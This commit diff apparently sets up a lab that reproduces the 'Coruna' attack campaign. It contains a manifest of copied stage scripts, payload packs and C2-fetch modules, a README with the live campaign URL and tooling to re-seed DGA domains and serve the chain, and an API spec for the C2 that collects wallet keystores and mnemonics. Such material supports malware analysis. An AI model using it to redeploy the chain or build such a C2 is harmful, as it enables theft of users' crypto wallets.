init
This commit is contained in:
@@ -0,0 +1,8 @@
|
||||
out/
|
||||
projects/
|
||||
web/
|
||||
sync/
|
||||
__pycache__/
|
||||
*.pyc
|
||||
.DS_Store
|
||||
source/web/**/_bak/
|
||||
+442
@@ -0,0 +1,442 @@
|
||||
{
|
||||
"description": "Minimal Coruna lab tree for delivery + deployment verification",
|
||||
"campaign_base": "/web/34f5121f572d6742703eb84ec2f866a6/",
|
||||
"sync_base": "/sync/",
|
||||
"file_count": 71,
|
||||
"roles": {
|
||||
"daily_config": 1,
|
||||
"entry": 1,
|
||||
"primary_pack": 19,
|
||||
"secondary_type0x01_pack": 10,
|
||||
"stage_js": 14,
|
||||
"sync_module": 26
|
||||
},
|
||||
"files": [
|
||||
{
|
||||
"role": "entry",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/support.html",
|
||||
"source": "coruna-online/support.html",
|
||||
"size": 48147
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/0c297489d8c9d5470bfce17b0d99da3338b44a18.js",
|
||||
"source": "coruna-online/0c297489d8c9d5470bfce17b0d99da3338b44a18.js",
|
||||
"size": 136309
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/0f2be2a4e0ab7e60b6ce550692996d079a5769a0.js",
|
||||
"source": "coruna-online/0f2be2a4e0ab7e60b6ce550692996d079a5769a0.js",
|
||||
"size": 14572
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf.js",
|
||||
"source": "coruna-online/1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf.js",
|
||||
"size": 24305
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/291b914c574e1196039313595217367c44cca436.js",
|
||||
"source": "coruna-online/291b914c574e1196039313595217367c44cca436.js",
|
||||
"size": 19624
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/3c04ae31f9ba8f809b275be4b3fa93deb558902c.js",
|
||||
"source": "coruna-online/3c04ae31f9ba8f809b275be4b3fa93deb558902c.js",
|
||||
"size": 24426
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/40a27e7916aa554e6d38d39beb6bb7ee095692ed.js",
|
||||
"source": "coruna-online/40a27e7916aa554e6d38d39beb6bb7ee095692ed.js",
|
||||
"size": 14704
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/651774047bf8d72258a5f04785c9dabf5e793670.js",
|
||||
"source": "coruna-online/651774047bf8d72258a5f04785c9dabf5e793670.js",
|
||||
"size": 28408
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/700491384cc59bd25c3aa4dd670c8660963bffe3.js",
|
||||
"source": "coruna-online/700491384cc59bd25c3aa4dd670c8660963bffe3.js",
|
||||
"size": 29264
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/9075c25766e57019db4c86fac179b03ebf1b56e5.js",
|
||||
"source": "coruna-online/9075c25766e57019db4c86fac179b03ebf1b56e5.js",
|
||||
"size": 36024
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/98f0c8fb182309faa687aa849e92d0ac5f93af7d.js",
|
||||
"source": "coruna-online/98f0c8fb182309faa687aa849e92d0ac5f93af7d.js",
|
||||
"size": 18135
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f.js",
|
||||
"source": "coruna-online/9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f.js",
|
||||
"size": 160887
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/ad970e88980634bcb2eda0c998a27881686dd29e.js",
|
||||
"source": "coruna-online/ad970e88980634bcb2eda0c998a27881686dd29e.js",
|
||||
"size": 1775
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/ad970e88980634bcb2eda0c998a27881686dd29e.min.js",
|
||||
"source": "coruna-online/ad970e88980634bcb2eda0c998a27881686dd29e.min.js",
|
||||
"size": 1316
|
||||
},
|
||||
{
|
||||
"role": "stage_js",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/b099ff22b5c8e65654744fd307d81ad208009103.js",
|
||||
"source": "coruna-online/b099ff22b5c8e65654744fd307d81ad208009103.js",
|
||||
"size": 37022
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.min.js",
|
||||
"source": "coruna-online/payloads/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.min.js",
|
||||
"size": 129244
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/076de672aebfc78137aa863e51ff3d8980dcdd10.min.js",
|
||||
"source": "coruna-online/payloads/076de672aebfc78137aa863e51ff3d8980dcdd10.min.js",
|
||||
"size": 163864
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/3b0133801a3f844e7ebafa0363f2423a50005b72.min.js",
|
||||
"source": "coruna-online/payloads/3b0133801a3f844e7ebafa0363f2423a50005b72.min.js",
|
||||
"size": 142528
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.min.js",
|
||||
"source": "coruna-online/payloads/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.min.js",
|
||||
"size": 26360
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/62415a3d105a8c40c41b19cf456e8474fe441359.min.js",
|
||||
"source": "coruna-online/payloads/62415a3d105a8c40c41b19cf456e8474fe441359.min.js",
|
||||
"size": 168288
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/6539c1e0dc731ea7c7011af236cc7c2871af7c40.min.js",
|
||||
"source": "coruna-online/payloads/6539c1e0dc731ea7c7011af236cc7c2871af7c40.min.js",
|
||||
"size": 170168
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/694c829e379e12085de6158b85f32509f54f4796.min.js",
|
||||
"source": "coruna-online/payloads/694c829e379e12085de6158b85f32509f54f4796.min.js",
|
||||
"size": 133004
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.min.js",
|
||||
"source": "coruna-online/payloads/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.min.js",
|
||||
"size": 156536
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.min.js",
|
||||
"source": "coruna-online/payloads/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.min.js",
|
||||
"size": 152612
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/906a996fa11bcaa5347c6453e328f538d17d5dbf.min.js",
|
||||
"source": "coruna-online/payloads/906a996fa11bcaa5347c6453e328f538d17d5dbf.min.js",
|
||||
"size": 153384
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/99010a27e08b3312650c8d9f321958433e577a30.min.js",
|
||||
"source": "coruna-online/payloads/99010a27e08b3312650c8d9f321958433e577a30.min.js",
|
||||
"size": 166684
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.min.js",
|
||||
"source": "coruna-online/payloads/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.min.js",
|
||||
"size": 152288
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/a5847c3e2e439e2f7c4b1582932cf81a06100981.min.js",
|
||||
"source": "coruna-online/payloads/a5847c3e2e439e2f7c4b1582932cf81a06100981.min.js",
|
||||
"size": 154344
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/c9118a62558ed444a64c2dfe350c6c57fa277a3a.min.js",
|
||||
"source": "coruna-online/payloads/c9118a62558ed444a64c2dfe350c6c57fa277a3a.min.js",
|
||||
"size": 216944
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.min.js",
|
||||
"source": "coruna-online/payloads/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.min.js",
|
||||
"size": 26560
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/e406714e92671b5218496fcb6666734411cb2320.min.js",
|
||||
"source": "coruna-online/payloads/e406714e92671b5218496fcb6666734411cb2320.min.js",
|
||||
"size": 137736
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.min.js",
|
||||
"source": "coruna-online/payloads/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.min.js",
|
||||
"size": 191368
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/f10b572f33adf343a7398487c3f4cc71088b56ab.min.js",
|
||||
"source": "coruna-online/payloads/f10b572f33adf343a7398487c3f4cc71088b56ab.min.js",
|
||||
"size": 152776
|
||||
},
|
||||
{
|
||||
"role": "primary_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.min.js",
|
||||
"source": "coruna-online/payloads/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.min.js",
|
||||
"size": 163864
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/039c68f0ca742a85e94516818385a9eca2e204d8.min.js",
|
||||
"source": "coruna-online/c2_fetch/039c68f0ca742a85e94516818385a9eca2e204d8.min.js",
|
||||
"size": 104472
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js",
|
||||
"source": "coruna-online/c2_fetch/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js",
|
||||
"size": 104180
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js",
|
||||
"source": "coruna-online/c2_fetch/242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js",
|
||||
"size": 104180
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/347367155da44f3efcc9053337913061079610b9.min.js",
|
||||
"source": "coruna-online/c2_fetch/347367155da44f3efcc9053337913061079610b9.min.js",
|
||||
"size": 104472
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/630c2b42300333d91588353d43afab9ec8325e09.min.js",
|
||||
"source": "coruna-online/c2_fetch/630c2b42300333d91588353d43afab9ec8325e09.min.js",
|
||||
"size": 104180
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/65704c0722165a7bdedad3f3f61258b2f95470f6.min.js",
|
||||
"source": "coruna-online/c2_fetch/65704c0722165a7bdedad3f3f61258b2f95470f6.min.js",
|
||||
"size": 104472
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js",
|
||||
"source": "coruna-online/c2_fetch/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js",
|
||||
"size": 104472
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/743312cafb58176af57b89098d94dca1c60f8d1e.min.js",
|
||||
"source": "coruna-online/c2_fetch/743312cafb58176af57b89098d94dca1c60f8d1e.min.js",
|
||||
"size": 104472
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/7cb20652ef7156e931f894dd3d99f24601b80368.min.js",
|
||||
"source": "coruna-online/c2_fetch/7cb20652ef7156e931f894dd3d99f24601b80368.min.js",
|
||||
"size": 104180
|
||||
},
|
||||
{
|
||||
"role": "secondary_type0x01_pack",
|
||||
"dest": "web/34f5121f572d6742703eb84ec2f866a6/7f208248c748f97956fe4a7cf246c91235852e67.min.js",
|
||||
"source": "coruna-online/c2_fetch/7f208248c748f97956fe4a7cf246c91235852e67.min.js",
|
||||
"size": 104180
|
||||
},
|
||||
{
|
||||
"role": "daily_config",
|
||||
"dest": "sync/daily.html",
|
||||
"source": "coruna-online/evidence/cases/2026-08-02-coruna-har/responses/har-36_6b5f8ad2b8e41bf097b4811c9fb082523a32f72dd83eed49ed09c5a7f9b04027.body",
|
||||
"size": 2463
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/erupt_flee.js",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0000_be1e18ebff5f4d00b176ab07b867c559c278d129834c6d3a9cf7f7bfa5f36968.bin",
|
||||
"size": 573345
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/swap-ritual.ts",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0001_851785fe8aa2a44e6b31b384b7ee3f3a977d1931302ba6777ab3b0bdaa562ef3.bin",
|
||||
"size": 58034
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/short_thing.js",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0002_7a925c6556ec1ee17d16444e96f9bf0b8f4d56a623c79522df2f055012c13967.bin",
|
||||
"size": 5249
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/aware_retreat.css",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0003_7138493424ee03b3dce1df29642229a21a4473cc3d1b91c5e1f11ec6ae643fe3.bin",
|
||||
"size": 49954
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/wash_indicate.js",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0004_317791c9310b99b0abf7b1b96e9c2195870bf678c1ab295f4e6a6a35b4aff83f.bin",
|
||||
"size": 55970
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/entry-praise.htm",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0005_34a33ef684a258e9c0cc338d017085f19e21bfc39129170114ab2efe964720f5.bin",
|
||||
"size": 52498
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/card_alcohol.htm",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0006_ff4fcba8150969d82af198534b3e26da5d295b0ce2e825438c6d84d28f7276e4.bin",
|
||||
"size": 48882
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/curious-tuna.ts",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0007_046db13c04267aab639b447752b669a20ff5f2889e1be942b156af88fb2813d5.bin",
|
||||
"size": 61138
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/valve-okay.htm",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0008_0292fca56f8e863ae4f7bec0dfe43c3cc7b7e6d9bc612c6263682765ad43fac0.bin",
|
||||
"size": 61250
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/squirrel-chuckle.css",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0009_7837c1602e8678c3ab36dd39ed1ca537948ea3e1620b6a7b10c3e2cea9cac639.bin",
|
||||
"size": 93314
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/range_hockey.ts",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0010_6237f4e4548eec144d2619fcf979ed9a20c8d6329c9564f5fff8902278a9efc1.bin",
|
||||
"size": 54674
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/exact_unveil.html",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0011_a9a3a84b541fa3f542c8f833b820f28470deaf497478a745e99817b478b66269.bin",
|
||||
"size": 439490
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/cradle-barely.html",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0012_8afc716f12ac0c70ca8c360934382956704a27fd2d8d8ab8916e3de387d801fa.bin",
|
||||
"size": 59122
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/enough_lend.ts",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0013_4683d2b7b9d299648d8daa97ae5a8a4fe006d2928dd7ce981c55bf3d909cd649.bin",
|
||||
"size": 45938
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/page_human.css",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0014_a0fa9cb0bde69add68963772a0bc4367f33f3e7799f3e754d307dfb763da33fb.bin",
|
||||
"size": 56738
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/mouse_announce.js",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0015_0102928b80534dd5ddb83df640edbc3003fb388fd2222dbbc1bcaf07254dfdf0.bin",
|
||||
"size": 49522
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/canal_sugar.htm",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0016_80ed403291579931ff574983838d730f542a371444b2f5b49c9014b3e655495e.bin",
|
||||
"size": 68802
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/left-case.css",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0017_0d674fd90723850a27ef68a26c6aedfe70001af92938d54d917e9b024144053d.bin",
|
||||
"size": 66866
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/diagram-ship.css",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0018_1a8027c1decbb64cc017b19b3f07a45c320af7c947c3bb984c2d8c044bbf779c.bin",
|
||||
"size": 58114
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/shrimp-artefact.htm",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0019_f8334192d70e8bb3e1355886e104d3254c9e06b72a5957a1da63d31331c5f034.bin",
|
||||
"size": 1426386
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/fresh_sausage.js",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0020_2af8a807790551b7f4e22b79d57c1d5bdced2043a0a73641212d19f4150e9999.bin",
|
||||
"size": 49762
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/win_wife.css",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0021_96a67da39e9146e3182f32a743644b340cd272ac53a5431b9a0941ab63825327.bin",
|
||||
"size": 429026
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/future-destroy.htm",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0022_3805c4d0dbbbf99d87cba9153534bce98b39f7adff6d9d0cec9cd075bce8e661.bin",
|
||||
"size": 497586
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/chunk_hen.ts",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0023_7a43e9169a122cec7b7ea67754a153afe89fdf5210b7db7867e6140b4b2fd985.bin",
|
||||
"size": 79042
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/candy_ketchup.html",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0024_eec6fbe1777b346a5c1473112d3f799acf4d84cab3864440eaaccc3a6834e2d5.bin",
|
||||
"size": 374546
|
||||
},
|
||||
{
|
||||
"role": "sync_module",
|
||||
"dest": "sync/horror-monster.ts",
|
||||
"source": "/Users/toad/Desktop/ios-fetch/coruna-online/evidence/cases/2026-08-02-coruna-all-26/downloads/raw/0025_24cfa8b258e31d6af11786626b6d684c194e4c6d864e1fc2f2476a066e348389.bin",
|
||||
"size": 84114
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
# coruna-lab
|
||||
|
||||
启动 / 验证 Coruna 链路所需的最小文件树。内容从 `coruna-online` **复制**而来,按线上 URL 路径放置。
|
||||
|
||||
```text
|
||||
coruna-lab/
|
||||
├── source/ # 只读模板(campaign 原样,勿 patch)
|
||||
│ ├── web/34f5121f572d6742703eb84ec2f866a6/
|
||||
│ └── sync/
|
||||
├── web/… # 工作副本(由脚本从 source 复制后再 patch)
|
||||
├── sync/
|
||||
├── out/seeds.json, domains.json
|
||||
├── doc/
|
||||
├── tools/
|
||||
└── MANIFEST.json
|
||||
```
|
||||
|
||||
线上 base(模板同源):
|
||||
|
||||
```text
|
||||
https://www.dhxuhdbej888.icu/web/34f5121f572d6742703eb84ec2f866a6/
|
||||
```
|
||||
|
||||
## 新建 / 刷新工作树(推荐)
|
||||
|
||||
从 `source/` 复制 `web` + `sync` 到 **lab 根目录**,再自动 `patch_all.py --apply`(换 Deployment/Reporting seed,打出新域名):
|
||||
|
||||
```bash
|
||||
cd coruna-lab
|
||||
pip3 install py7zr pycryptodome
|
||||
|
||||
python3 tools/new_project.py
|
||||
# 指定 seed:
|
||||
python3 tools/new_project.py --deployment-seed … --reporting-seed …
|
||||
```
|
||||
|
||||
域名见 `out/domains.json`。本地服务:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8765 --bind 0.0.0.0
|
||||
# 入口:
|
||||
# http://<lan-ip>:8765/web/34f5121f572d6742703eb84ec2f866a6/support.html
|
||||
```
|
||||
|
||||
## 文档
|
||||
|
||||
| 文档 | 内容 |
|
||||
|------|------|
|
||||
| [`doc/STAGE_JS.md`](doc/STAGE_JS.md) | 入口 + Stage JS;对标 `coruna/` |
|
||||
| [`doc/NATIVE_PACKS.md`](doc/NATIVE_PACKS.md) | 一级 / 二级包路径、联系、清单 |
|
||||
| [`doc/SYNC.md`](doc/SYNC.md) | `daily.html` + 26 个业务模块 |
|
||||
| [`tools/README.md`](tools/README.md) | 替换 seed、重建二级包/core、计算 DGA 域名 |
|
||||
|
||||
## 链路(极简)
|
||||
|
||||
```text
|
||||
support.html → Stage1/2/3 → 一级包 (.js) → (0x07) → 二级 type-0x01 (.min.js)
|
||||
→ Deployment DGA → /sync/daily.html → 26 模块
|
||||
```
|
||||
|
||||
## 其它
|
||||
|
||||
- 来源索引:`MANIFEST.json`
|
||||
- 分析报告:`coruna-online/docs/`
|
||||
- **不要**对 `source/` 跑 `--apply`;只改根目录 `web/` / `sync/`
|
||||
+444
@@ -0,0 +1,444 @@
|
||||
# Coruna Reporting C2 API
|
||||
|
||||
Lab 实现见 `routes/c2.php`。字段形状主要来自:
|
||||
|
||||
- [`coruna-online/docs/CORUNA_COMPLETE_DATAFLOW_REPORT.md`](../../../coruna-online/docs/CORUNA_COMPLETE_DATAFLOW_REPORT.md) §7
|
||||
- HAR 解密红acted 样本
|
||||
[`c2_decrypted_redacted.json`](../../../coruna-online/evidence/cases/2026-08-02-coruna-har/c2_decrypted_redacted.json)
|
||||
|
||||
敏感值在证据里已打码;下文用「含义 + 类型」描述,不复述真实秘密。
|
||||
|
||||
---
|
||||
|
||||
## 1. 传输约定
|
||||
|
||||
### 1.1 JSON POST(除 `/api/user/check`、除 `GET /api/user/query`)
|
||||
|
||||
| 项 | 说明 |
|
||||
|----|------|
|
||||
| Header `timestamp` | 13 位毫秒时间戳 |
|
||||
| Body | Base64(AES-256-ECB-PKCS7(key, `timestamp \|\| JSON`)) |
|
||||
| key | `SHA256(session_key \|\| timestamp)`(session_key 为 16 ASCII) |
|
||||
|
||||
响应同样用自生成 `timestamp` 头 + 加密 body。常见明文为:
|
||||
|
||||
```json
|
||||
null
|
||||
```
|
||||
|
||||
或:
|
||||
|
||||
```json
|
||||
{"code":0,"msg":"ok","data":null}
|
||||
```
|
||||
|
||||
**Lab 默认回包**:加密 `{"code":0,"msg":"ok","data":null}`(与客户端不死循环的成功 ack 对齐)。真实战役响应字段可能更丰富,但客户端通常只认成功/可解密。
|
||||
|
||||
### 1.2 GET `/api/user/query`
|
||||
|
||||
- 无加密 body
|
||||
- 响应明文:`OK`(`text/plain`)
|
||||
|
||||
### 1.3 POST `/api/user/check`
|
||||
|
||||
- `multipart/form-data`
|
||||
- `file`:Coruna 头混淆的加密 7z;口令 `session_key || batchBase`(首批常见 `"0"`)
|
||||
- `sig`:不透明二进制,**Lab 不校验**
|
||||
|
||||
### 1.4 通用身份字段(多接口复用)
|
||||
|
||||
| 字段 | 观察含义 |
|
||||
|------|----------|
|
||||
| `c` | 32 hex,会话/渠道类 ID |
|
||||
| `d` / `f` | 16 hex,设备相关指纹(二者常相同) |
|
||||
| `id` / `lhu` | UUID 形字符串(事件/本地句柄) |
|
||||
| `pn` / `m` / `et` | 产品名 / 机型 / 事件类型文本 |
|
||||
| `pv` | 系统版本(如 `15.8.4`) |
|
||||
| `s` / `u` / `sbu` | 其它会话/用户侧短字段 |
|
||||
| `v` | 插件或模块版本串 |
|
||||
|
||||
设备主键启发式:`id` → `d` → `f` → `c`(见 `IngestService::extractDeviceKey`)。
|
||||
|
||||
---
|
||||
|
||||
## 2. 接口一览
|
||||
|
||||
| 方法 | 路径 | 用途(战役观察) | Lab 行为 |
|
||||
|------|------|------------------|----------|
|
||||
| GET | `/api/user/query` | DGA/连通性探测,选 reporting C2 | 明文 `OK` |
|
||||
| POST | `/api/user/avatar/set` | 首次设备 profile | 写 devices(+apps 若有) |
|
||||
| POST | `/api/user/get` | 拉/登记状态;带已装 App 列表 | 登记设备;ack |
|
||||
| POST | `/api/user/avatar/put` | 下载/注入/模块健康等遥测 | 登记设备;ack;落文件日志 |
|
||||
| POST | `/api/user/avatar/status` | 钱包 keystore / identity JSON | 地址/密钥启发式入库 |
|
||||
| POST | `/api/user/status` | 地址 → 资产/余额 | `wallet_addresses` |
|
||||
| POST | `/api/user/set` | 明文助记词或私钥 | 加密入库 + 打码展示 |
|
||||
